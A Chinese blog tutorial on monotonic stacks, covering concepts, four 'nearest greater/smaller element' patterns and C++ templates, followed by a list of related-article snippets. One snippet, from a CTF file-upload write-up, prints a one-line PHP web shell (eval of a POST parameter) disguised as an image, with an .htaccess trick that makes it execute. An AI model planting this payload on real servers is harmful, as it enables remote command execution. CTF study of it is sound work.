单调栈(算法篇)

ops/2024/9/19 14:12:27/ 标签: 算法

算法之单调栈

注意:单调栈是一种数据结构,并非是一种算法,但是我们做一些算法题的时候,这种单调性结构有妙用,所以我姑且放在算法篇进行讲解

单调栈

概念

  • 单调栈是一种数据结构,但是因为经常使用就将其放入算法
  • 单调栈就是栈内的元素呈单调递增或者单调递减的(一般指栈顶到栈底)
  • 将一个元素插入单调栈时,为了维护栈的单调性,需要在保证将该元素插入到栈顶后整个栈满足单调性的前提下弹出最少的元素
  • 例如:例如,单调递增栈中自顶向下的元素为{0,11,45,81},插入元素14时为了保持单调性需要依次弹出0、11,操作后栈变为{14,45,81}
  • 时间复杂度为O(n)

适用场景

  • 单调栈可以求解出某个元素左边或者右边第一个比它大或者小的元素

  • 可以将其分为具体四种问题:

    1. 寻找左侧第一个比当前元素大的元素
    2. 寻找左侧第一个比当前元素小的元素
    3. 寻找右侧第一个比当前元素大的元素
    4. 寻找右侧第一个比当前元素小的元素

各问题解决做法

总结

  • 查找比当前大的元素用单调递增栈,查找比当前小的元素用单调递减栈
  • 左侧查找就看插入栈时的栈顶元素,从右侧查找就看弹出栈时即将插入的元素
  1. 寻找左侧第一个比当前元素大的元素

    • 构造一个单调递增栈(从栈顶到栈底)
    • 从左到右遍历元素
    • 如果当前元素大于栈顶元素,则将其加入(也就是将栈里面小于当前元素的都弹出再插入);
    • 如果小于,则当前栈顶元素就是当前遍历的元素左侧第一个比它大的元素
    • 如果插入时的栈为空,则说明左侧不存在比当前元素大的元素
  2. 寻找左侧第一个比当前元素小的元素

    • 构造一个单调递减栈(从栈顶到栈底)
    • 从左到右遍历元素
    • 如果当前元素小于栈顶元素,就加入栈中
    • 如果大于,则当前栈顶元素就是当前遍历元素左侧第一个比它小的元素
    • 如果插入时的栈为空,则说明左侧不存在比当前元素小的元素
  3. 寻找右侧第一比当前元素大的元素

    • 构造一个单调递增栈(从栈顶到栈底)
    • 从左到右遍历元素
    • 如果当前遍历元素大于当前栈底元素,则当前栈顶元素的右侧第一个比它大的元素就是当前遍历元素
    • 如果小于,则将其加入栈中
    • 如果在栈中的元素没有被弹出,说明栈中剩下的元素没有右侧比它大的元素
  4. 寻找右侧第一个比当前元素小的元素

    • 构造一个单调递减栈(从栈顶到栈底)
    • 从左到右遍历元素
    • 如果当前遍历元素小于当前栈顶元素,则当前栈顶元素的右侧第一个比它小的元素就是当前遍历元素
    • 如果大于,则加入栈中
    • 如果在栈中的元素没有被弹出,说明栈中剩下的元素没有右侧比它小的元素

模板代码

  1. 单调递增栈

    int main(){stack<int>st;for(int i=0;i<nums.size();++i){while(!st.empty()&&nums[i]>nums[st.top()]){st.pop();}st.push(i);}
    }
    
  2. 单调递减栈

    int main(){stack<int>st;for(int i=0;i<nums.size();++i){while(!st.empty()&&nums[i]<nums[st.top()]){st.pop();}st.push(i);}
    }
    

http://www.ppmy.cn/ops/93835.html

相关文章

面试实战题-数据结构与算法

数据结构与算法 求TopK 大根堆 解题思路&#xff1a;保持堆的大小为K&#xff0c;然后遍历数组中的数字&#xff0c;遍历的时候做如下判断&#xff1a; * 1. 若目前堆的大小小于K&#xff0c;将当前数字放入堆中。 * 2. 否则判断当前数字与大根堆堆顶元素的大小关系&#xf…

Unity动画模块 之 2D IK(反向动力学)

本文仅作笔记学习和分享&#xff0c;不用做任何商业用途 本文包括但不限于unity官方手册&#xff0c;unity唐老狮等教程知识&#xff0c;如有不足还请斧正​ 1.什么是IK 反向动力学 IK&#xff08;Inverse Kinematics&#xff09;是一种方法&#xff0c;可以根据某些子关节的最…

[upload]-[GXYCTF2019]BabyUpload1-笔记

尝试上传.htaccess和图片和一句话木马提示 php文件提示 响应头可以看到 构造一句话图片木马如下&#xff1a; <script languagephp>eval($_POST[cmd]);</script> 上传成功 必须增加文件夹下jpg后缀解析php .htaccess如下 <FilesMatch "jpg">Set…

「11月·香港」第三届人工智能、人机交互和机器人国际学术会议(AIHCIR 2024)

第三届人工智能、人机交互和机器人国际学术会议&#xff08;AIHCIR 2024&#xff09;组委会热忱地邀请您参与本届大会。本届大会旨在聚集领先的科学家、研究人员和学者&#xff0c;共同交流和分享在人工智能、人机交互和机器人各个方面的经验和研究成果&#xff0c;为研究人员、…

Godot《躲避小兵》实战之设置项目

通过之前的学习我们已经基本了解了godot的界面&#xff0c;知道如何创建项目以及节点。那么&#xff0c;从这一章节我们将进入godot官方给我们提供的一个2D游戏开发的小教程进行入手&#xff0c;这个游戏并不是我自己的作品&#xff0c;而是我通过学习完之后&#xff0c;对其进…

玩转生产环境全链路压测

一、什么是生产环境全链路压测 生产环境全链路压力测试&#xff08;Production Environment Full-Link Stress Testing&#xff09;是一种针对线上系统进行的综合性性能测试方法。这个过程涉及模拟实际用户行为&#xff0c;从用户界面到后端数据库的整个应用链路上施加预定的高…

Python基础教程:正则表达式

Python基础教程&#xff1a;正则表达式 概述 正则表达式&#xff08;Regular Expression&#xff0c;简称Regex&#xff09;是一种用于匹配字符串中字符组合的模式。Python的re模块提供了广泛的正则表达式功能&#xff0c;可以用来执行各种字符串搜索、替换和分割操作。 1. …

联通数科如何基于Apache DolphinScheduler构建DataOps一体化能力平台

各位小伙伴晚上好&#xff0c;我是联通数字科技有限公司数据智能事业部的王兴杰。 更好的阅读体验可前往原文阅读:巨人肩膀 | 联通数科如何基于Apache DolphinScheduler构建DataOps一体化能力平台 今天&#xff0c;我将和大家聊一聊联通数字科技有限公司是如何基于Apache Dol…

设计模式-单例设计模式

单例模式的设计和线程安全 单例模式是一种创建型设计模式&#xff0c;确保一个类只有一个实例&#xff0c;并提供一个全局访问点。实现单例模式时&#xff0c;线程安全性是一个重要考虑因素&#xff0c;特别是在多线程环境中。 1. C11 之前的线程安全实现 在 C11 之前&#…

NAT模式搭建实战

一、NAT模式搭建实战 1.给nat机新添加一块网卡 [rootnat ~]# vim /etc/sysconfig/network-scripts/ifcfg-ens36 TYPE"Ethernet" BOOTPROTO"none" DEVICE"ens36" NAME"ens36" UUID"d0f9b80a-e098-3e1f-9ec3-0a502b1ed00e&q…

CentOS 7设置静态IP地址的详细指南

CentOS 7设置静态IP地址的详细指南 配置静态IP地址是服务器或虚拟机管理的重要步骤之一&#xff0c;特别是在需要稳定、可预测的网络环境时。本文将详细介绍如何在CentOS 7上设置静态IP地址&#xff0c;帮助确保你的系统网络配置符合需求。 1. 查看当前网络配置 在进行任何更…

python 压力测试脚本

需求&#xff1a; 生成一个12位不重复的随机数将随机数赋值给Json 串中的 orderCode字段将Json用ECB 指定 key为bJXQezYtR4ZSNK4p进行加密并作为值传给{ “data”: “” }设置每秒30个并发持续1分钟调用接口接口输出测试测试报告 代码示例 import json import random import…

【C语言】输入/输出函数详解

目录 C语言输入/输出函数详解1. 标准输入输出函数1.1 printf函数1.2 scanf函数1.3 putchar函数1.4 getchar函数 2. 文件输入输出函数2.1 fopen函数2.2 fclose函数2.3 fread函数2.4 fwrite函数2.5 fprintf函数2.6 fscanf函数2.7 fgets函数2.8 fputs函数 3. 结论4. 结束语相关文章…

视频汇聚/安防监控综合平台EasyCVR接入海康私有协议EHOME显示失败是什么原因?

安防监控/视频综合管理平台/视频集中存储/磁盘阵列EasyCVR视频汇聚平台&#xff0c;支持多种视频格式和编码方式&#xff08;H.264/H.265&#xff09;&#xff0c;能够轻松对接各类前端监控设备&#xff0c;实现视频流的统一接入与集中管理。安防监控EasyCVR平台支持多种流媒体…

浅谈企业数字化转型的认知、价值及策略

2024年作为不寻常的一年&#xff0c;企业的经营环境发生了显著变化&#xff0c;复杂、不确定、不可预测成为常态。在新常态下&#xff0c;野蛮生长模式转向更务实的精耕细作。 同时&#xff0c;在诸多不确定的因素中&#xff0c;数字化加速推进的趋势是确定无疑的。数字化以前…

使用ASGI部署Django的几种方式

服务器介绍 Daphne 是一个纯PythonASGI服务器&#xff0c;用于UNIX&#xff0c;由Django项目的成员维护。它充当ASGI的参考服务器。Hypercorn 是一个支持HTTP/1、HTTP/2和HTTP/3的ASGI服务器&#xff0c;重点是协议支持。Uvicorn 是一个基于 uvloop 和 httptools &#xff0c;…

【Qt】Qt窗口 | 菜单栏QMenuBar

文章目录 一. 菜单栏二. 代码创建&使用菜单栏1. 创建菜单栏2. 在菜单栏中添加菜单3. 创建菜单项4. 在菜单项之间添加分割线5. 添加快捷方式6. 菜单/菜单项添加图标7. 添加子菜单 三. 图形化创建菜单栏 窗口 Qt 中窗口是通过QMainWindow类实现的 QMainWindow 是一个为用户提…

人工智能在肿瘤亚型分类领域的研究进展|顶刊速递·24-08-13

小罗碎碎念 文献日推主题&#xff1a;人工智能在肿瘤亚型分类领域的研究进展 昨天晚上在研究鼻咽癌的病理学诊断指南&#xff0c;看到了下面这段话的时候&#xff0c;我问了自己一个问题——通过AI识别出肿瘤亚型的根本目的是什么&#xff1f;可以衔接哪些具体的下游任务&#…

LVS-NAT + LVS-DR

LVS 现在lvs已经是linux内核标准的一部分&#xff0c;使用lvs可以达到的技术目标是&#xff1a;通过linux达到负载均衡技术和linux操作系统实现一个高性能高可用的linux服务器集群&#xff0c;他具有良好的可靠性&#xff0c;可延展性和可操作性&#xff0c;从而以低廉的成本实…

邀请函 I 松下信息和望繁信科技邀您参加「数智时代下大数据应用的“道”与“术”」闭门会议

在数字化浪潮席卷全球的今天&#xff0c;大数据与智能化的结合成为企业成功的关键。为了深入探讨这一重要议题&#xff0c;松下信息系统&#xff08;上海&#xff09;有限公司&#xff08;简称“松下信息”&#xff09;与上海望繁信科技有限公司&#xff08;简称“望繁信科技”…